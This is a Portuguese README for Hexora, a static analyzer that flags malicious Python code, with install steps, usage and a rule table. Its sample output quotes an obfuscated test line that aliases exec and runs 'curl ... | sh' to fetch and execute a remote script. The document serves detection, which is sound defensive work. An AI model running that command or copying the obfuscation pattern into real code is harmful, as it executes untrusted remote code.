
Análise estática de código Python malicioso
Hexora é uma ferramenta de análise estática projetada para detectar padrões maliciosos e prejudiciais em código Python. Ela combina um motor de análise estática baseado em regras com um modelo de aprendizado de máquina que pontua arquivos-fonte inteiros para classificá-los como maliciosos ou benignos.
Pode ser usada para:
Para exemplos de saída, consulte o arquivo docs/examples.md.
Requer Python 3.9+.
pip install hexora
Usando uv:
uv tool install hexora
hexora --help
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --output-format terminal resources/test/
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
Onde python3.11 é a versão do Python no ambiente virtual.
Dicas:
--exclude para suprimir certos códigos de regra (por exemplo, importações ruidosas) para uma execução específica--min-confidence para focar apenas em descobertas de alta confiança.Confiança indica o quão malicioso um determinado trecho de código é. Algumas bibliotecas ou trechos de código são usados para fins legítimos, e é difícil distinguir casos de uso legítimos dos maliciosos. É por isso que algumas correspondências têm um baixo nível de confiança.
Algumas regras podem ter diferentes níveis de confiança. Evite filtrar muitas regras por código a menos que tenha muita certeza. Por exemplo, execução de código e shell podem ter confiança média, alta e muito alta. Isso depende de como o código foi executado. Se detectarmos uma tentativa de ofuscação, elevamos a confiança.
Por exemplo, este código terá alta confiança:
globals()["__builtins__"].eval("print(123)")
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
Ao desenvolver novas regras, você pode usar conjuntos de dados maliciosos existentes, como o malicious-software-packages-dataset.
Após clonar, aponte a ferramenta de benchmark para o diretório do conjunto de dados:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
Novas regras são adicionadas regularmente.
No momento, as seguintes regras estão disponíveis:
Para análise, usamos o analisador AST da biblioteca ruff.
| Código | Nome | Descrição |
|---|
| HX1000 | AppEnumeration | Enumeração suspeita de aplicativos. |
| HX1010 | BrowserEnumeration | Enumeração suspeita de navegador (aplicativos, cookies, histórico, etc.). |
| HX1020 | PathEnumeration | Enumeração suspeita de caminhos. |
| HX1030 | OSFingerprint | Impressão digital suspeita do SO. |
| HX2000 | ClipboardRead | Leitura da área de transferência. |
| HX2010 | EnvAccess | Acesso a uma variável de ambiente sensível. |
| HX2020 | ScreenshotCapture | Captura de capturas de tela do display. |
| HX3000 | CodeExec | Possível execução de código. |
| HX3010 | ShellExec | Execução de um comando shell. |
| HX3040 | DLLInjection | Possível injeção de DLL. |
| HX3050 | DangerousExec | Execução de comando potencialmente perigoso dentro de um comando shell. |
| HX3060 | SuspiciousCall | Chamada de função suspeita. |
| HX4000 | ObfuscatedShellExec | Execução de comando shell possivelmente ofuscado. |
| HX4010 | ObfuscatedCodeExec | Execução de código possivelmente ofuscado. |
| HX5000 | DunderImport | Uso suspeito de __import__. |
| HX5010 | SuspiciousImport | Importação suspeita. |
| HX5020 | CtypesImport | Importação suspeita de ctypes. |
| HX5030 | PickleImport | Importação suspeita de pickle. |
| HX5040 | StructImport | Importação suspeita de struct. |
| HX5050 | SocketImport | Importação suspeita de socket. |
| HX5060 | MarshalImport | Importação suspeita de marshal. |
| HX6000 | Base64String | String longa codificada em Base64 detectada; possível ofuscação de código. |
| HX6010 | HexedLiterals | Lista de literais codificados em hex detectada; possível payload. |
| HX6020 | HexedString | String longa codificada em hex detectada; possível payload. |
| HX6030 | IntLiterals | Grande lista de literais inteiros detectada; possível ofuscação de código. |
| HX6040 | CVEInLiteral | Literal contém um identificador CVE. |
| HX6050 | SuspiciousLiteral | Literal suspeito detectado; possível enumeração de dados. |
| HX6060 | PathTraversal | Path traversal suspeito. |
| HX6070 | BrowserExtension | Enumeração de extensões de navegador sensíveis. |
| HX6080 | WebHook | Webhook suspeito detectado. Possível exfiltração de dados. |
| HX6090 | TelegramToken | Token de bot do Telegram detectado em literal de string. |
| HX7000 | SuspiciousFunctionName | Nome de função suspeito. |
| HX7010 | SuspiciousParameterName | Nome de parâmetro suspeito. |
| HX7020 | SuspiciousVariable | Nome de variável suspeito. |
| HX9000 | DataExfiltration | Potencial exfiltração de dados. |
| HX8000 | BinaryDownload | Download suspeito de binário. |
| HX8010 | BuiltinsVariable | Uso suspeito de variável embutida. |
| HX8020 | SuspiciousComment | Comentário suspeito. |
| HX8030 | SuspiciousWrite | Escrita suspeita no sistema de arquivos. |
| HX8040 | InstallHook | Configuração suspeita de hook de instalação. |